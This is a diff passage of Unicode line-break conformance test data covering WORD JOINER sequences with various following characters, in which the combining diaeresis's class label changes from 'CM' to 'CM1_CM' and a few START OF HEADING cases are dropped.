-× 2060 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 2060 × 0308 × 2014 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] EM DASH (B2) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 2060 × 0009 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2060 × 0020 ÷ 0009 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2060 × 0308 × 0009 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2060 × 0308 × 0009 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2060 × 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] ACUTE ACCENT (BB) ÷ [0.3]
× 2060 × 0020 ÷ 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 2060 × 0308 × 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] ACUTE ACCENT (BB) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 2060 × 0308 × 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] ACUTE ACCENT (BB) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 2060 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2060 × 0020 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2060 × 0308 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2060 × 0308 × 0020 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2060 × 0308 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2060 × 0308 × 0020 × 000B ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2060 × FFFC ÷ # × [0.3] WORD JOINER (WJ) × [11.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2060 × 0020 ÷ FFFC ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2060 × 0308 × FFFC ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2060 × 0308 × FFFC ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2060 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [11.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2060 × 0020 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2060 × 0308 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2060 × 0308 × 0020 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2060 × 0308 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2060 × 0308 × 0020 × 007D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2060 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2060 × 0020 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2060 × 0308 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2060 × 0308 × 0020 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2060 × 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2060 × 0020 ÷ 0001 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2060 × 0308 × 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 2060 × 0308 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 2060 × 0308 × 0020 × 0029 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2060 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2060 × 0020 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2060 × 0308 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2060 × 0308 × 0020 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2060 × 0308 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2060 × 0308 × 0020 × 000D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2060 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] EXCLAMATION MARK (EX) ÷ [0.3]
× 2060 × 0020 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2060 × 0308 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2060 × 0308 × 0020 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2060 × 0308 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2060 × 0308 × 0020 × 0021 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 2060 × 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] NO-BREAK SPACE (GL) ÷ [0.3]
× 2060 × 0020 ÷ 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2060 × 0308 × 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2060 × 0308 × 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 2060 × AC00 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2060 × 0020 ÷ AC00 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2060 × 0308 × AC00 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2060 × 0308 × AC00 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2060 × AC01 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2060 × 0020 ÷ AC01 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2060 × 0308 × AC01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2060 × 0308 × AC01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2060 × 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2060 × 0020 ÷ 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 2060 × 0308 × 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2060 × 0308 × 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2060 × 002D ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 2060 × 0020 ÷ 002D ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2060 × 0308 × 002D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 002D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2060 × 0308 × 002D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 002D ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 2060 × 231A ÷ # × [0.3] WORD JOINER (WJ) × [11.02] WATCH (ID) ÷ [0.3]
× 2060 × 0020 ÷ 231A ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 2060 × 0308 × 231A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] WATCH (ID) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 231A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 2060 × 0308 × 231A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] WATCH (ID) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 231A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 2060 × 2024 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] ONE DOT LEADER (IN) ÷ [0.3]
× 2060 × 0020 ÷ 2024 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 2060 × 0308 × 2024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] ONE DOT LEADER (IN) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 2060 × 0308 × 2024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] ONE DOT LEADER (IN) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 2060 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [11.02] COMMA (IS) ÷ [0.3]
× 2060 × 0020 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 2060 × 0308 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] COMMA (IS) ÷ [0.3]
-× 2060 × 0308 × 0020 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 2060 × 0308 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] COMMA (IS) ÷ [0.3]
+× 2060 × 0308 × 0020 × 002C ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 2060 × 1100 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2060 × 0020 ÷ 1100 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2060 × 0308 × 1100 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2060 × 0308 × 1100 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2060 × 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2060 × 0020 ÷ 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2060 × 0308 × 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2060 × 0308 × 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2060 × 1160 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2060 × 0020 ÷ 1160 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2060 × 0308 × 1160 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2060 × 0308 × 1160 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2060 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2060 × 0020 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2060 × 0308 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2060 × 0308 × 0020 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2060 × 0308 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2060 × 0308 × 0020 × 000A ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2060 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2060 × 0020 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2060 × 0308 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2060 × 0308 × 0020 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2060 × 0308 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2060 × 0308 × 0020 × 0085 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2060 × 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2060 × 0020 ÷ 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2060 × 0308 × 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2060 × 0308 × 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2060 × 0030 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] DIGIT ZERO (NU) ÷ [0.3]
× 2060 × 0020 ÷ 0030 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 2060 × 0308 × 0030 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] DIGIT ZERO (NU) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 2060 × 0308 × 0030 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] DIGIT ZERO (NU) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 2060 × 0028 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2060 × 0020 ÷ 0028 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2060 × 0308 × 0028 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2060 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2060 × 0308 × 0028 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.02] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2060 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2060 × 0025 ÷ # × [0.3] WORD JOINER (WJ) × [11.02] PERCENT SIGN (PO) ÷ [0.3]
× 2060 × 0020 ÷ 0025 ÷ # × [0.3] WORD JOINER (WJ) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 2060 × 0308 × 0025 ÷ # × [0.3] WORD JOINER (WJ) × [9.0] COMBINING DIAERESIS (CM) × [11.02] PERCENT SIGN (PO) ÷ [0.3]
